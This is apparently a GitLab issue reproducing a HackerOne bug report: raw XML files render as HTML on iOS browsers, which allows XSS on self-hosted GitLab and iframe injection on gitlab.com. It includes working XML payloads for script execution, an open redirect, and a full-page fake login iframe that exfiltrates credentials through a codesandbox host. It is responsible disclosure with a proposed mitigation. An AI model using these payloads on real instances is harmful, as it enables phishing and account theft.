Skip to content

XSS and content injection and iframe injection when viewing raw files on IOS devices

Please read the process on how to fix security issues before starting to work on the issue. Vulnerabilities must be fixed in a security mirror.

HackerOne report #1923293 by joaxcar on 2023-03-29, assigned to @ameyadarshan:

Report | Attachments | How To Reproduce

Report

Summary

When viewing an XML file in a repository in "raw" mode, it can be made to render as HTML if viewed on an IOS device. On a self-hosted GitLab instance without proper CSP this will lead to full XSS on the instance. On gitlab.com CSP will block JavaScript execution (I have not found a bypass for this yet) but it will allow for HTML injection that can be used for open redirection or phishing (as I will show in the POC)

I want to note that this issue stems from what I believe is a bug in WebKit (thus affecting all IOS browsers) and I have reported this to them. I don't know if they will decide on fixing this (might be spec related) and how long this will take. Also, users will be at risk until an eventual patch and after a patch until updating their IOS devices. And as there is an easy mitigation you can apply in the meantime, I think it might be worth considering.

When viewing an XML file as "raw" in GitLab it is loaded with the headers

Content-Type: plain/text  
Content-Disposition: inline  

IOS browsers will ignore the content-type header if there is a content type defined in the actual XML file (this is according to some old spec). Rendering this XML inline will make the browsers display HTML

<?xml version="1.0" encoding="UTF-8"?>  
<html xmlns:html="http://www.w3.org/1999/xhtml">  
<html:script>alert(document.domain);</html:script>  
<html:iframe src="https://example.com"></html:iframe>  
</html>  
Workaround (mitigation)

To get around this issue, you can do as you do with "raw" SVG files and serve them with

Content-Disposition: attachment  

This will force the browsers on IOS to download the files instead of displaying them inline. This should be an easy fix with minor implications for the user. If a fix is put in place in WebKit, you could later revert this.

Steps to reproduce

XSS (self-hosted)

Make sure you can access your self-hosted server on an IOS device. I used NGROK for this.

  1. Log in to your GitLab instance as the attacker
  2. Create a new public project (https://gitlab.example.com/projects/new)
  3. Create a new file in the project (https://gitlab.example.com/groupname/projectname/-/new/main/)
  4. Name the file xss.xml and add the content
<?xml version="1.0" encoding="UTF-8"?>  
<html xmlns:html="http://www.w3.org/1999/xhtml">  
<html:script>alert(document.domain);</html:script>  
</html>  
  1. Save the file
  2. Now access the file as raw on your IOS device by visiting
    https://gitlab.example.com/groupname/projectname/-/raw/main/xss.xml
  3. There should be a popup from gitlab.example.com
Iframe injection on Gitlab.com

Gitlab.com has a CSP that blocks most attacks. But there is one escape hatch in the frame-src directive, where we are allowed to frame any subdomain of *.codesandbox.io. This allows the attacker to create his/her own content on codesandbox and frame it inside gitlab.com. I have created two codesandbox projects that you can use to test with (if not creating your own).

  1. Log in to https://gitlab.com as the attacker
  2. Create a new public project (https://gitlab.com/projects/new)
  3. Create a new file in the project (https://gitlab.com/groupname/projectname/-/new/main/)
  4. Name the file frame_redirect.xml and add the content
<?xml version="1.0" encoding="UTF-8"?>  
<html xmlns:html="http://www.w3.org/1999/xhtml">  
<html:iframe src="https://navigate-top-rr5r5j.codesandbox.io"></html:iframe>  
</html>  
  1. Save the file
  2. Create a second file in the same project
  3. Name the file frame_login.xml and add the content
<?xml version="1.0" encoding="UTF-8"?>  
<html xmlns:html="http://www.w3.org/1999/xhtml">  
<html:iframe style="position:fixed; top:0; left:0; bottom:0; right:0; width:100%; height:100%; border:none; margin:0; padding:0; overflow:hidden; z-index:999999;" src="https://withered-http-cxcy0d.codesandbox.io"></html:iframe>  
</html>  
  1. Save the file
  2. Now access these files as raw on your IOS device by visiting
    https://gitlab.com/groupname/projectname/-/raw/main/iframe_redirect.xml
  3. You should be redirected to https://example.com
  4. Visit https://gitlab.example.com/groupname/projectname/-/raw/main/iframe_login.xml
  5. You should be presented with the GitLab login screen, if entering creds here they will be sent to my codesandbox (this is a full page iframe shown)

This is an image how it looks on my phone (note the real gitlab.com domain, and that this is my XML file not the real login screen)

IMG_0978.PNG

Impact

Full XSS on self-hosted instances. Open redirect and arbitrary content on gitlab.com

What is the current bug behavior?

GitLab serves XML files as inline content when viewed as raw files. This will render HTML on IOS devices

What is the expected correct behavior?

GitLab should serve XML as attachment just like with SVGs to prevent this

Impact

Full XSS on self-hosted instances. Open redirect and arbitrary content on gitlab.com

Attachments

Warning: Attachments received through HackerOne, please exercise caution!

How To Reproduce

Please add reproducibility information to this section: